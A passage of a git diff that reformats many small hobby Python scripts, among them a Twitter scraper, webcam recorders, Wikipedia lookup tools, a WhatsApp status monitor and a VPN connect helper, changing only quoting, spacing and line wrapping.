"(d)" + + " " * (max_size) +) for i in range(1, max_size + 1): - print("*" * i, end = " " * (max_size - i + 3)) + print("*" * i, end=" " * (max_size - i + 3)) - print("*" * (max_size - i + 1), end = " " * (i - 1 + 3)) + print("*" * (max_size - i + 1), end=" " * (i - 1 + 3)) - print(" " * (i - 1) + "*" * (max_size - i + 1), end = " " * 3) + print(" " * (i - 1) + "*" * (max_size - i + 1), end=" " * 3) print(" " * (max_size - i) + "*" * i) - - diff --git a/twitter_post_scraper.py b/twitter_post_scraper.py index 2d0a75ef6a8..06be7896e8a 100644 --- a/twitter_post_scraper.py +++ b/twitter_post_scraper.py @@ -2,34 +2,38 @@ from bs4 import BeautifulSoup import re -re_text = r'\:|\.|\!|(https|http)?:\/\/(\w|\.|\/|\?|\=|\&|\%)*\b|(.twitter.com\/)\w*|\&' -re_text_1 = r'(pictwittercom)\/\w*' +re_text = r"\:|\.|\!|(https|http)?:\/\/(\w|\.|\/|\?|\=|\&|\%)*\b|(.twitter.com\/)\w*|\&" +re_text_1 = r"(pictwittercom)\/\w*" + def tweeter_scrapper(): list_of_dirty_tweets = [] clear_list_of_tweets = [] - base_tweeter_url = 'https://twitter.com/{}' + base_tweeter_url = "https://twitter.com/{}" tweeter_id = input() response = requests.get(base_tweeter_url.format(tweeter_id)) - soup = BeautifulSoup(response.content , 'lxml') - all_tweets = soup.find_all('div',{'class':'tweet'}) + soup = BeautifulSoup(response.content, "lxml") + all_tweets = soup.find_all("div", {"class": "tweet"}) for tweet in all_tweets: - content = tweet.find('div',{'class':'content'}) - message = content.find('div',{'class':'js-tweet-text-container'}).text.replace("\n"," ").strip() + content = tweet.find("div", {"class": "content"}) + message = ( + content.find("div", {"class": "js-tweet-text-container"}) + .text.replace("\n", " ") + .strip() + ) list_of_dirty_tweets.append(message) for dirty_tweet in list_of_dirty_tweets: - dirty_tweet = re.sub(re_text, '', dirty_tweet, flags=re.MULTILINE) - dirty_tweet = re.sub(re_text_1, '', dirty_tweet, flags=re.MULTILINE) - dirty_tweet = dirty_tweet.replace(u'\xa0…', u'') - dirty_tweet = dirty_tweet.replace(u'\xa0', u'') - dirty_tweet = dirty_tweet.replace(u'\u200c', u'') + dirty_tweet = re.sub(re_text, "", dirty_tweet, flags=re.MULTILINE) + dirty_tweet = re.sub(re_text_1, "", dirty_tweet, flags=re.MULTILINE) + dirty_tweet = dirty_tweet.replace(u"\xa0…", u"") + dirty_tweet = dirty_tweet.replace(u"\xa0", u"") + dirty_tweet = dirty_tweet.replace(u"\u200c", u"") clear_list_of_tweets.append(dirty_tweet) print(clear_list_of_tweets) - if __name__ == "__main__": - tweeter_scrapper() \ No newline at end of file + tweeter_scrapper() diff --git a/video-operations/slow-motion.py b/video-operations/slow-motion.py index d24eead8717..8b30fae7270 100644 --- a/video-operations/slow-motion.py +++ b/video-operations/slow-motion.py @@ -5,14 +5,14 @@ import cv2 capture = cv2.VideoCapture(0) -fourcc = cv2.VideoWriter_fourcc(*'XVID') -output = cv2.VideoWriter('slowmotion.mp4', fourcc, 5, (640, 480)) +fourcc = cv2.VideoWriter_fourcc(*"XVID") +output = cv2.VideoWriter("slowmotion.mp4", fourcc, 5, (640, 480)) while True: ret, frame = capture.read() output.write(frame) - cv2.imshow('frame', frame) - if cv2.waitKey(1) & 0xFF == ord('x'): + cv2.imshow("frame", frame) + if cv2.waitKey(1) & 0xFF == ord("x"): break capture.release() diff --git a/video-operations/timelapse.py b/video-operations/timelapse.py index c594084573a..5058ea633ef 100644 --- a/video-operations/timelapse.py +++ b/video-operations/timelapse.py @@ -6,14 +6,14 @@ import cv2 capture = cv2.VideoCapture(0) -fourcc = cv2.VideoWriter_fourcc(*'XVID') -output = cv2.VideoWriter('timelapse.mp4', fourcc, 30, (640, 480)) +fourcc = cv2.VideoWriter_fourcc(*"XVID") +output = cv2.VideoWriter("timelapse.mp4", fourcc, 30, (640, 480)) while True: ret, frame = capture.read() output.write(frame) - cv2.imshow('frame', frame) - if cv2.waitKey(1) & 0xFF == ord('x'): + cv2.imshow("frame", frame) + if cv2.waitKey(1) & 0xFF == ord("x"): break capture.release() diff --git a/vowels.py b/vowels.py index 975bc10485e..c4cb540b286 100644 --- a/vowels.py +++ b/vowels.py @@ -4,14 +4,16 @@ vowelscounter = 0 + def checkVowels(letter): for i in range(len(vowels)): if letter == vowels[i]: return True return False + for i in range(len(string)): if checkVowels(string[i]): vowelscounter = vowelscounter + 1 -print(f"\n### {vowelscounter} vowel(s) were found in the string. ###") \ No newline at end of file +print(f"\n### {vowelscounter} vowel(s) were found in the string. ###") diff --git a/webcam.py b/webcam.py index ed8faa83c95..87125999309 100644 --- a/webcam.py +++ b/webcam.py @@ -1,8 +1,8 @@ # Requirements: # pip install numpy # sudo apt-get install python-openCV -# Program: -# opens your webcam, and records. +# Program: +# opens your webcam, and records. import cv2 @@ -14,12 +14,12 @@ # Specify the video codec # FourCC is plateform dependent, however MJPG is a safe choice. -fourcc = cv2.VideoWriter_fourcc(*'MJPG') +fourcc = cv2.VideoWriter_fourcc(*"MJPG") # Create video writer object. Save file to recording.avi -out = cv2.VideoWriter('recording.avi', fourcc, 20.0, (frames_width, frames_height)) +out = cv2.VideoWriter("recording.avi", fourcc, 20.0, (frames_width, frames_height)) -while (True): +while True: # Capture frame-by-frame ret, frame = cap.read() @@ -31,14 +31,12 @@ # Our operations on the frame come here gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) - # Display the resulting frame - cv2.imshow('frame', gray) - if cv2.waitKey(1) & 0xFF == ord('q'): + cv2.imshow("frame", gray) + if cv2.waitKey(1) & 0xFF == ord("q"): break # When everything done, release the capture and video writer cap.release() out.release() cv2.destroyAllWindows() - diff --git a/whatsapp-monitor.py b/whatsapp-monitor.py index a78adf70cdd..842dd1a866d 100644 --- a/whatsapp-monitor.py +++ b/whatsapp-monitor.py @@ -1,6 +1,6 @@ #! /usr/bin/python3 -''' +""" Author- Tony Stark download https://github.com/mozilla/geckodriver/releases @@ -9,46 +9,47 @@ install requirements: python -m pip install selenium -''' +""" from selenium import webdriver import os import time + driver = webdriver.Firefox() driver.get("http://web.whatsapp.com") -name=input("Please Enter Name for search online status: ") +name = input("Please Enter Name for search online status: ") while True: try: - chat=driver.find_element_by_xpath("/html/body/div[1]/div/div/div[3]/div/header/div[2]/div/span/div[2]/div") + chat = driver.find_element_by_xpath( + "/html/body/div[1]/div/div/div[3]/div/header/div[2]/div/span/div[2]/div" + ) chat.click() time.sleep(2) - search=driver.find_element_by_xpath("/html/body/div[1]/div/div/div[2]/div[1]/span/div/span/div/div[1]/div/label/input") + search = driver.find_element_by_xpath( + "/html/body/div[1]/div/div/div[2]/div[1]/span/div/span/div/div[1]/div/label/input" + ) search.click() time.sleep(2) search.send_keys(name) time.sleep(2) - open=driver.find_element_by_xpath("/html/body/div[1]/div/div/div[2]/div[1]/span/div/span/div/div[2]/div[1]/div/div/div[2]/div/div") + open = driver.find_element_by_xpath( + "/html/body/div[1]/div/div/div[2]/div[1]/span/div/span/div/div[2]/div[1]/div/div/div[2]/div/div" + ) open.click() time.sleep(2) - while True: try: status = driver.find_element_by_class_name("_315-i").text name = driver.find_element_by_class_name("_19vo_").text - print("{0} is {1}".format(name,status)) + print("{0} is {1}".format(name, status)) time.sleep(30) except: - name = driver.find_element_by_class_name("_19vo_").text - print("{0} is {1}".format(name,"offline")) - time.sleep(30) - + name = driver.find_element_by_class_name("_19vo_").text + print("{0} is {1}".format(name, "offline")) + time.sleep(30) except: - pass - - - - + pass diff --git a/wiki/wiki.py b/wiki/wiki.py index 56ce29e7cd6..3df7d64dbb9 100644 --- a/wiki/wiki.py +++ b/wiki/wiki.py @@ -1,7 +1,6 @@ - # Made by abhra kanti Dubey -#In this program you ask it about any topic and it will show you the data from wikipedia -#pip install wikipedia +# In this program you ask it about any topic and it will show you the data from wikipedia +# pip install wikipedia import wikipedia import tkinter as tk @@ -10,51 +9,59 @@ from tkinter import messagebox -root=tk.Tk() +root = tk.Tk() root.title("WIKIPEDIA SEARCH") root.geometry("1920x1080") def summary(): - query= wikipedia.page(question.get()) - answer=Text(root,height=100,width=160,font=("Arial",14),wrap=WORD,bg="#7CEBC6" ,fg="black") - answer.insert(END,(query.summary)) + query = wikipedia.page(question.get()) + answer = Text( + root, + height=100, + width=160, + font=("Arial", 14), + wrap=WORD, + bg="#7CEBC6", + fg="black", + ) + answer.insert(END, (query.summary)) answer.pack() - - - - -lbl1= Label( - root, - text="WIKIPEDIA SUMMARY TELLER BY ABHRA ", - font=("Verdana",25,"bold"), - width=50, - bg="yellow", - fg="red", - relief=SOLID - ) -lbl1.pack(padx=10,pady=15) - -question=StringVar() - -quesbox=Entry( - root, - text='TELL ME YOUR QUESTION', - font=("Verdana",20,"italic"), - width=80, - textvariable=question, - relief=GROOVE, - bd=10).pack() - -searchbtn=Button( - root, - text="SEARCH", - font=("Callibri",18,"bold"), - width=30, - relief=GROOVE, - bg="#4cd137", - bd=3, - command=summary,).pack() + + +lbl1 = Label( + root, + text="WIKIPEDIA SUMMARY TELLER BY ABHRA ", + font=("Verdana", 25, "bold"), + width=50, + bg="yellow", + fg="red", + relief=SOLID, +) +lbl1.pack(padx=10, pady=15) + +question = StringVar() + +quesbox = Entry( + root, + text="TELL ME YOUR QUESTION", + font=("Verdana", 20, "italic"), + width=80, + textvariable=question, + relief=GROOVE, + bd=10, +).pack() + +searchbtn = Button( + root, + text="SEARCH", + font=("Callibri", 18, "bold"), + width=30, + relief=GROOVE, + bg="#4cd137", + bd=3, + command=summary, +).pack() root.mainloop() diff --git a/wiki_random.py b/wiki_random.py index 61131b3daf0..3782ea60137 100644 --- a/wiki_random.py +++ b/wiki_random.py @@ -1,4 +1,4 @@ -'''Author Anurag Kumar(mailto:anuragkumarak95@gmail.com) +"""Author Anurag Kumar(mailto:anuragkumarak95@gmail.com) Module for Fetching Random Wiki Pages and asking user for opening one of them Python: @@ -13,39 +13,46 @@ - $python3 wiki_random.py enter index of article you would like to see, or 'r' for retry and 'n' for exit. -''' +""" import requests import webbrowser page_count = 10 -url = 'https://en.wikipedia.org/w/api.php?action=query&list=random&rnnamespace=0&rnlimit=' + str( - page_count) + '&format=json' +url = ( + "https://en.wikipedia.org/w/api.php?action=query&list=random&rnnamespace=0&rnlimit=" + + str(page_count) + + "&format=json" +) def load(): response = requests.get(url) if response.ok: - jsonData = response.json()['query']['random'] + jsonData = response.json()["query"]["random"] print("10 Random generted WIKI pages...") for idx, j in enumerate(jsonData): - print(str(idx) + ": ", j['title']) - i = input("Which page you want to see, enter index..[r: for retry,n: exit]?").lower() - if i == 'r': - print('Loading randoms again...') - elif i == 'n': - print('Auf Wiedersehen!') + print(str(idx) + ": ", j["title"]) + i = input( + "Which page you want to see, enter index..[r: for retry,n: exit]?" + ).lower() + if i == "r": + print("Loading randoms again...") + elif i == "n": + print("Auf Wiedersehen!") return else: try: - jsonData[int(i)]['id'] + jsonData[int(i)]["id"] except Exception: raise Exception("Wrong Input...") - print('taking you to the browser...') - webbrowser.get().open('https://en.wikipedia.org/wiki?curid=' + str(jsonData[int(i)]['id'])) + print("taking you to the browser...") + webbrowser.get().open( + "https://en.wikipedia.org/wiki?curid=" + str(jsonData[int(i)]["id"]) + ) load() else: response.raise_for_status() -if __name__ == '__main__': +if __name__ == "__main__": load() diff --git a/wikipedia.py b/wikipedia.py index bea9810f755..18570cb1bcd 100644 --- a/wikipedia.py +++ b/wikipedia.py @@ -2,23 +2,24 @@ from tkinter import * from tkinter.messagebox import showinfo -win = Tk() #objek -win.title('WIKIPEDIA') -win.geometry('200x70') #function +win = Tk() # objek +win.title("WIKIPEDIA") +win.geometry("200x70") # function -#function -def search_wiki() : +# function +def search_wiki(): search = entry.get() Hasil = wikipedia.summary(search) - showinfo("Hasil Pencarian",Hasil) + showinfo("Hasil Pencarian", Hasil) -label = Label(win,text="Wikipedia Search :") -label.grid(row=0,column=0) + +label = Label(win, text="Wikipedia Search :") +label.grid(row=0, column=0) entry = Entry(win) -entry.grid(row=1,column=0) +entry.grid(row=1, column=0) -button = Button(win,text="Search",command=search_wiki) -button.grid(row=1,column=1,padx=10) +button = Button(win, text="Search", command=search_wiki) +button.grid(row=1, column=1, padx=10) win.mainloop() diff --git a/work_connect.py b/work_connect.py index a529d470860..bf3d4f9ed5a 100644 --- a/work_connect.py +++ b/work_connect.py @@ -13,31 +13,53 @@ import sys # Load the Library Module import time # Load the Library Module -dropbox = os.getenv("dropbox") # Set the variable dropbox, by getting the values of the environment setting for dropbox -rdpfile = ("remote\\workpc.rdp") # Set the variable logfile, using the arguments passed to create the logfile -conffilename = os.path.join(dropbox, rdpfile) # Set the variable conffilename by joining confdir and conffile together -remote = (r"c:\windows\system32\mstsc.exe ") # Set the variable remote with the path to mstsc +dropbox = os.getenv( + "dropbox" +) # Set the variable dropbox, by getting the values of the environment setting for dropbox +rdpfile = "remote\\workpc.rdp" # Set the variable logfile, using the arguments passed to create the logfile +conffilename = os.path.join( + dropbox, rdpfile +) # Set the variable conffilename by joining confdir and conffile together +remote = ( + r"c:\windows\system32\mstsc.exe " # Set the variable remote with the path to mstsc +) -text = '''You need to pass an argument +text = """You need to pass an argument -c Followed by login password to connect - -d to disconnect''' # Text to display if there is no argument passed or it's an invalid option - 1.2 + -d to disconnect""" # Text to display if there is no argument passed or it's an invalid option - 1.2 if len(sys.argv) < 2: # Check there is at least one option passed to the script - 1.2 print(text) # If not print the text above - 1.2 sys.exit() # Exit the program - 1.2 -if '-h' in sys.argv or '--h' in sys.argv or '-help' in sys.argv or '--help' in sys.argv: # Help Menu if called +if ( + "-h" in sys.argv or "--h" in sys.argv or "-help" in sys.argv or "--help" in sys.argv +): # Help Menu if called print(text) # Print the text, stored in the text variable - 1.2 sys.exit(0) # Exit the program else: - if sys.argv[1].lower().startswith('-c'): # If the first argument is -c then - passwd = sys.argv[2] # Set the variable passwd as the second argument passed, in this case my login password - subprocess.Popen((r"c:\Program Files\Checkpoint\Endpoint Connect\trac.exe connect -u username -p " + passwd)) + if sys.argv[1].lower().startswith("-c"): # If the first argument is -c then + passwd = sys.argv[ + 2 + ] # Set the variable passwd as the second argument passed, in this case my login password + subprocess.Popen( + ( + r"c:\Program Files\Checkpoint\Endpoint Connect\trac.exe connect -u username -p " + + passwd + ) + ) subprocess.Popen((r"c:\geektools\puttycm.exe")) - time.sleep(15) # Sleep for 15 seconds, so the checkpoint software can connect before opening mstsc + time.sleep( + 15 + ) # Sleep for 15 seconds, so the checkpoint software can connect before opening mstsc subprocess.Popen([remote, conffilename]) - elif sys.argv[1].lower().startswith('-d'): # If the first argument is -d then disconnect my checkpoint session. - subprocess.Popen((r"c:\Program Files\Checkpoint\Endpoint Connect\trac.exe disconnect ")) + elif ( + sys.argv[1].lower().startswith("-d") + ): # If the first argument is -d then disconnect my checkpoint session. + subprocess.Popen( + (r"c:\Program Files\Checkpoint\Endpoint Connect\trac.exe disconnect ") + ) else: print( - 'Unknown option - ' + text) # If any other option is passed, then print Unknown option and the text from above - 1.2 + "Unknown option - " + text + ) # If any other option is passed, then print Unknown option and the text from above - 1.2 diff --git a/write_excel_file.py b/write_excel_file.py index 0525bd5f3d4..05f19b20ffe 100644 --- a/write_excel_file.py +++ b/write_excel_file.py @@ -5,20 +5,20 @@ wb = Workbook() # add_sheet is used to create sheet. -sheet1 = wb.add_sheet('Sheet 1') +sheet1 = wb.add_sheet("Sheet 1") -sheet1.write(1, 0, 'ISBT DEHRADUN') -sheet1.write(2, 0, 'SHASTRADHARA') -sheet1.write(3, 0, 'CLEMEN TOWN') -sheet1.write(4, 0, 'RAJPUR ROAD') -sheet1.write(5, 0, 'CLOCK TOWER') -sheet1.write(0, 1, 'ISBT DEHRADUN') -sheet1.write(0, 2, 'SHASTRADHARA') -sheet1.write(0, 3, 'CLEMEN TOWN') -sheet1.write(0, 4, 'RAJPUR ROAD') -sheet1.write(0, 5, 'CLOCK TOWER') +sheet1.write(1, 0, "ISBT DEHRADUN") +sheet1.write(2, 0, "SHASTRADHARA") +sheet1.write(3, 0, "CLEMEN TOWN") +sheet1.write(4, 0, "RAJPUR ROAD") +sheet1.write(5, 0, "CLOCK TOWER") +sheet1.write(0, 1, "ISBT DEHRADUN") +sheet1.write(0, 2, "SHASTRADHARA") +sheet1.write(0, 3, "CLEMEN TOWN") +sheet1.write(0, 4, "RAJPUR ROAD") +sheet1.write(0, 5, "CLOCK TOWER") -wb.save('xlwt example.xls') +wb.save("xlwt example.xls") # Workbook is created openpyxl_wb = openpyxl.Workbook() @@ -26,15 +26,15 @@ # create_sheet is used to create sheet. sheet1 = openpyxl_wb.create_sheet("Sheet 1") -sheet1.cell(1, 1, 'ISBT DEHRADUN') -sheet1.cell(2, 1, 'SHASTRADHARA') -sheet1.cell(3, 1, 'CLEMEN TOWN') -sheet1.cell(4, 1, 'RAJPUR ROAD') -sheet1.cell(5, 1, 'CLOCK TOWER') -sheet1.cell(1, 1, 'ISBT DEHRADUN') -sheet1.cell(1, 2, 'SHASTRADHARA') -sheet1.cell(1, 3, 'CLEMEN TOWN') -sheet1.cell(1, 4, 'RAJPUR ROAD') -sheet1.cell(1, 5, 'CLOCK TOWER') +sheet1.cell(1, 1, "ISBT DEHRADUN") +sheet1.cell(2, 1, "SHASTRADHARA") +sheet1.cell(3, 1, "CLEMEN TOWN") +sheet1.cell(4, 1, "RAJPUR ROAD") +sheet1.cell(5, 1, "CLOCK TOWER") +sheet1.cell(1, 1, "ISBT DEHRADUN") +sheet1.cell(1, 2, "SHASTRADHARA") +sheet1.cell(1, 3, "CLEMEN TOWN") +sheet1.cell(1, 4, "RAJPUR ROAD") +sheet1.cell(1, 5, "CLOCK TOWER") openpyxl_wb.save("openpyxl example.xlsx")